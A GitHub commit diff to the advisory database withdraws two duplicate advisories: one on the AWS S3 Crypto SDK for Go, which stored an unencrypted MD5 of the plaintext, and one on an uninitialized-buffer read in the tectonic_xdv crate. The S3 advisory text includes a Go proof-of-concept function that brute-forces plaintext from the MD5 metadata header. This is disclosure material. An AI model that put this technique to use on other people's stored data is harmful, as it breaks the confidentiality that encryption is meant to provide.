Skip to content

Commit a769265

Browse files
1 parent 5a5d6fe commit a769265

2 files changed

Lines changed: 8 additions & 6 deletions

File tree

advisories/github-reviewed/2022/02/GHSA-76wf-9vgp-pj7w/GHSA-76wf-9vgp-pj7w.json

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,12 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-76wf-9vgp-pj7w",
4-
"modified": "2023-10-02T16:21:14Z",
4+
"modified": "2026-02-03T19:37:54Z",
55
"published": "2022-02-11T23:26:12Z",
6+
"withdrawn": "2026-02-03T19:37:54Z",
67
"aliases": [],
7-
"summary": "Unencrypted md5 plaintext hash in metadata in AWS S3 Crypto SDK for golang",
8-
"details": "### Summary\n\nThe golang AWS S3 Crypto SDK was impacted by an issue that can result in loss of confidentiality. An attacker with read access to an encrypted S3 bucket was able to recover the plaintext without accessing the encryption key.\n\n### Specific Go Packages Affected\ngithub.com/aws/aws-sdk-go/service/s3/s3crypto\n\n### Risk/Severity\n\nThe vulnerability poses insider risks/privilege escalation risks, circumventing KMS controls for stored data.\n\n### Impact\n\nThe issue has been fully mitigated by AWS as of Aug. 5th by disallowing the header in question.\n\nThe S3 crypto library tries to store an unencrypted hash of the plaintext alongside the ciphertext as a metadata field. This hash can be used to brute force the plaintext in an offline attack, if the hash is readable to the attacker. In order to be impacted by this issue, the attacker has to be able to guess the plaintext as a whole. The attack is theoretically valid if the plaintext entropy is below the key size, i.e. if it is easier to brute force the plaintext instead of the key itself, but practically feasible only for short plaintexts or plaintexts otherwise accessible to the attacker in order to create a rainbow table.\n\nThe issue has been fixed server-side by AWS as of Aug 5th, by blocking the related metadata field. No S3 objects are affected anymore.\n\n### Mitigation\n\nThe header in question is no longer served by AWS, making this attack fully mitigated as of Aug. 5th.\n\n### Proof of concept\n\nA [Proof of concept](https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc) is available in a separate github repository, this particular issue can be found at [here](https://github.com/sophieschmieg/exploits/blob/master/aws_s3_crypto_poc/exploit/hash_exploit.go):\n\n```golang\nfunc HashExploit(bucket string, key string, input *OfflineAttackInput) (string, error) {\n\t_, header, err := input.S3Mock.GetObjectDirect(bucket, key)\n\tlength, err := strconv.Atoi(header.Get(\"X-Amz-Meta-X-Amz-Unencrypted-Content-Length\"))\n\tplaintextMd5 := header.Get(\"X-Amz-Meta-X-Amz-Unencrypted-Content-Md5\")\n\tblocks := length / 16\n\tpossiblePlaintextNum := 1\n\tsegNum := len(input.PossiblePlaintextSegments)\n\tfor i := 0; i < blocks; i++ {\n\t\tpossiblePlaintextNum *= segNum\n\t}\n\tfor i := 0; i < possiblePlaintextNum; i++ {\n\t\tw := i\n\t\tguess := \"\"\n\t\tfor j := 0; j < blocks; j++ {\n\t\t\tguess += input.PossiblePlaintextSegments[w%segNum]\n\t\t\tw /= segNum\n\t\t}\n\t\tguessMd5 := md5.Sum([]byte(guess))\n\t\tif plaintextMd5 == base64.StdEncoding.EncodeToString(guessMd5[:]) {\n\t\t\treturn guess, nil\n\t\t}\n\t}\n\treturn \"\", fmt.Errorf(\"No plaintext found!\")\n}\n```\n\nThe PoC will only work on old versions of the library, as the hash has been removed from being calculated as well.",
8+
"summary": "Duplicate Advisory: Unencrypted md5 plaintext hash in metadata in AWS S3 Crypto SDK for golang",
9+
"details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-6jvc-q2x7-pchv. This link is maintained to preserve external references.\n\n## Original Description\n### Summary\n\nThe golang AWS S3 Crypto SDK was impacted by an issue that can result in loss of confidentiality. An attacker with read access to an encrypted S3 bucket was able to recover the plaintext without accessing the encryption key.\n\n### Specific Go Packages Affected\ngithub.com/aws/aws-sdk-go/service/s3/s3crypto\n\n### Risk/Severity\n\nThe vulnerability poses insider risks/privilege escalation risks, circumventing KMS controls for stored data.\n\n### Impact\n\nThe issue has been fully mitigated by AWS as of Aug. 5th by disallowing the header in question.\n\nThe S3 crypto library tries to store an unencrypted hash of the plaintext alongside the ciphertext as a metadata field. This hash can be used to brute force the plaintext in an offline attack, if the hash is readable to the attacker. In order to be impacted by this issue, the attacker has to be able to guess the plaintext as a whole. The attack is theoretically valid if the plaintext entropy is below the key size, i.e. if it is easier to brute force the plaintext instead of the key itself, but practically feasible only for short plaintexts or plaintexts otherwise accessible to the attacker in order to create a rainbow table.\n\nThe issue has been fixed server-side by AWS as of Aug 5th, by blocking the related metadata field. No S3 objects are affected anymore.\n\n### Mitigation\n\nThe header in question is no longer served by AWS, making this attack fully mitigated as of Aug. 5th.\n\n### Proof of concept\n\nA [Proof of concept](https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc) is available in a separate github repository, this particular issue can be found at [here](https://github.com/sophieschmieg/exploits/blob/master/aws_s3_crypto_poc/exploit/hash_exploit.go):\n\n```golang\nfunc HashExploit(bucket string, key string, input *OfflineAttackInput) (string, error) {\n\t_, header, err := input.S3Mock.GetObjectDirect(bucket, key)\n\tlength, err := strconv.Atoi(header.Get(\"X-Amz-Meta-X-Amz-Unencrypted-Content-Length\"))\n\tplaintextMd5 := header.Get(\"X-Amz-Meta-X-Amz-Unencrypted-Content-Md5\")\n\tblocks := length / 16\n\tpossiblePlaintextNum := 1\n\tsegNum := len(input.PossiblePlaintextSegments)\n\tfor i := 0; i < blocks; i++ {\n\t\tpossiblePlaintextNum *= segNum\n\t}\n\tfor i := 0; i < possiblePlaintextNum; i++ {\n\t\tw := i\n\t\tguess := \"\"\n\t\tfor j := 0; j < blocks; j++ {\n\t\t\tguess += input.PossiblePlaintextSegments[w%segNum]\n\t\t\tw /= segNum\n\t\t}\n\t\tguessMd5 := md5.Sum([]byte(guess))\n\t\tif plaintextMd5 == base64.StdEncoding.EncodeToString(guessMd5[:]) {\n\t\t\treturn guess, nil\n\t\t}\n\t}\n\treturn \"\", fmt.Errorf(\"No plaintext found!\")\n}\n```\n\nThe PoC will only work on old versions of the library, as the hash has been removed from being calculated as well.",
910
"severity": [],
1011
"affected": [
1112
{

advisories/github-reviewed/2022/06/GHSA-6692-8qqf-79jc/GHSA-6692-8qqf-79jc.json

Lines changed: 4 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,12 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-6692-8qqf-79jc",
4-
"modified": "2022-06-17T00:24:29Z",
4+
"modified": "2026-02-03T19:37:22Z",
55
"published": "2022-06-17T00:24:29Z",
6+
"withdrawn": "2026-02-03T19:37:21Z",
67
"aliases": [],
7-
"summary": "`Read` on uninitialized buffer may cause UB ('tectonic_xdv' crate)",
8-
"details": "Affected versions of this crate passes an uninitialized buffer to a user-provided `Read` implementation.\n\nArbitrary `Read` implementations can read from the uninitialized buffer (memory exposure) and also can return incorrect number of bytes written to the buffer. Reading from uninitialized memory produces undefined values that can quickly invoke undefined behavior.\n\nThe problem was fixed in commit `cdff034` by zero-initializing the buffer before passing it to a user-provided `Read` implementation.\n",
8+
"summary": "Duplicate Advisory: `Read` on uninitialized buffer may cause UB ('tectonic_xdv' crate)",
9+
"details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-qwvx-c8j7-5g75. This link is maintained to preserve external references.\n\n## Original Description\nAffected versions of this crate passes an uninitialized buffer to a user-provided `Read` implementation.\n\nArbitrary `Read` implementations can read from the uninitialized buffer (memory exposure) and also can return incorrect number of bytes written to the buffer. Reading from uninitialized memory produces undefined values that can quickly invoke undefined behavior.\n\nThe problem was fixed in commit `cdff034` by zero-initializing the buffer before passing it to a user-provided `Read` implementation.",
910
"severity": [],
1011
"affected": [
1112
{

0 commit comments

Comments
 (0)